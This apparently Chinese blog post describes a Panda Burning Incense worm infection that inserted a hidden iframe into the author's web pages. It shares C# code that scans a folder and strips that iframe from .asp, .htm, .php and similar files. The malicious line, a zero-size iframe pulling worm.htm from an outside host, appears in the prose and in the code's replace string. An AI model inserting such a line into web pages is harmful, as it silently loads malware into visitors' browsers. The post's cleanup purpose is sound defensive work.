破熊猫…

前几天中了病毒…

EXE就不说了,我的大多EXE都有RAR的备份,竟然在我的asp.html,htm等文件中加入了
<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>

NND…
查了一下是熊猫烧香…文件太多,只好用C#写了个东西来替换…
给某些可怜的站长们.
可以在服务器上执行.

代码:

code:



using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.IO;

namespace kill
{
/// <summary>
/// Killpanda 的摘要说明。
/// </summary>
public class Killpanda : System.Windows.Forms.Form
{
private System.Windows.Forms.Button button1;
private System.Windows.Forms.Button button2;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Button button3;
private System.Windows.Forms.FolderBrowserDialog folderBrowser_ok;
private System.Windows.Forms.TextBox txt_path;
private System.Windows.Forms.TextBox txt_log;
/// <summary>
/// 必需的设计器变量。
/// </summary>
private System.ComponentModel.Container components = null;

public Killpanda()
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();

//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//
}

/// <summary>
/// 清理所有正在使用的资源。
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}

#region Windows 窗体设计器生成的代码
/// <summary>
/// 设计器支持所需的方法 – 不要使用代码编辑器修改
/// 此方法的内容。
/// </summary>
private void InitializeComponent()
{
this.txt_log = new System.Windows.Forms.TextBox();
this.button1 = new System.Windows.Forms.Button();
this.button2 = new System.Windows.Forms.Button();
this.txt_path = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.button3 = new System.Windows.Forms.Button();
this.folderBrowser_ok = new System.Windows.Forms.FolderBrowserDialog();
this.SuspendLayout();
//
// txt_log
//
this.txt_log.Location = new System.Drawing.Point(40, 56);
this.txt_log.Multiline = true;
this.txt_log.Name = "txt_log";
this.txt_log.ScrollBars = System.Windows.Forms.ScrollBars.Vertical;
this.txt_log.Size = new System.Drawing.Size(368, 336);
this.txt_log.TabIndex = 0;
this.txt_log.Text = "";
//
// button1
//
this.button1.Location = new System.Drawing.Point(72, 416);
this.button1.Name = "button1";
this.button1.TabIndex = 1;
this.button1.Text = "查杀";
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// button2
//
this.button2.Location = new System.Drawing.Point(296, 416);
this.button2.Name = "button2";
this.button2.TabIndex = 2;
this.button2.Text = "关闭";
this.button2.Click += new System.EventHandler(this.button2_Click);
//
// txt_path
//
this.txt_path.Location = new System.Drawing.Point(72, 16);
this.txt_path.Name = "txt_path";
this.txt_path.Size = new System.Drawing.Size(248, 21);
this.txt_path.TabIndex = 3;
this.txt_path.Text = "";
//
// label1
//
this.label1.Location = new System.Drawing.Point(16, 16);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(56, 23);
this.label1.TabIndex = 4;
this.label1.Text = "路径:";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleRight;
//
// button3
//
this.button3.Location = new System.Drawing.Point(328, 16);
this.button3.Name = "button3";
this.button3.TabIndex = 5;
this.button3.Text = "浏览";
this.button3.Click += new System.EventHandler(this.button3_Click);
//
// Killpanda
//
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(456, 453);
this.Controls.Add(this.button3);
this.Controls.Add(this.label1);
this.Controls.Add(this.txt_path);
this.Controls.Add(this.button2);
this.Controls.Add(this.button1);
this.Controls.Add(this.txt_log);
this.Name = "Killpanda";
this.Text = "查杀某U盘病毒";
this.Load += new System.EventHandler(this.Killpanda_Load);
this.ResumeLayout(false);

}
#endregion

/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
static void Main()
{
Application.Run(new Killpanda());
}

private void button2_Click(object sender, System.EventArgs e)
{
this.Close();
}

private void button1_Click(object sender, System.EventArgs e)
{
if (txt_path.Text.Equals(""))
{
MessageBox.Show("文件不存在");
return;
}
argss(txt_path.Text);

}
public void argss(string thispath)
{
try
{
DirectoryInfo dir = new DirectoryInfo(thispath);
DirectoryInfo [] dirargs = dir.GetDirectories();
foreach(DirectoryInfo di in dirargs)
{
// txt_log.AppendText(di.FullName+"\n");
if (di.FullName.Equals(@"H:\System Volume Information"))
{
argss(di.FullName);
}
argss(di.FullName);
}
FileInfo [] fdirargs = dir.GetFiles();
foreach(FileInfo fdi in fdirargs)
{
if (fdi.Extension.ToLower().Equals(".asp") || fdi.Extension.ToLower().Equals(".htm") || fdi.Extension.ToLower().Equals(".html") || fdi.Extension.ToLower().Equals(".php") || fdi.Extension.ToLower().Equals(".asa"))
{
txt_log.AppendText(fdi.FullName+"\n");

try
{
FileStream fs;
StreamReader sr;

//只读方式打开。
fs=File.Open(fdi.FullName,FileMode.Open,FileAccess.Read);

sr=new StreamReader(fs,System.Text.Encoding.GetEncoding("GB2312"));

string str="";

//读到最后,然后取值返回。
str=sr.ReadToEnd();
fs.Close();
str=str.Replace("<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>","");
FileStream fss=new FileStream(fdi.FullName,FileMode.Create,FileAccess.Write);

StreamWriter sw=new StreamWriter(fss,System.Text.Encoding.GetEncoding("GB2312"));
sw.Write(str);
sw.Flush();
sw.Close();
}
catch(Exception ex)
{
string s=ex.Message;
}
// MessageBox.Show(fdi.Name);
}
}
}
catch(Exception ex)
{
MessageBox.Show(ex.Message);
MessageBox.Show("文件不存在");
}
}

private void button3_Click(object sender, System.EventArgs e)
{
folderBrowser_ok.ShowDialog();
txt_path.Text=folderBrowser_ok.SelectedPath;
}
}
}


下载地址:
http://www.inbreak.net/blog/toolss/killpanda.rar
请先安装framework1.0

发表评论?

0 条评论。

发表评论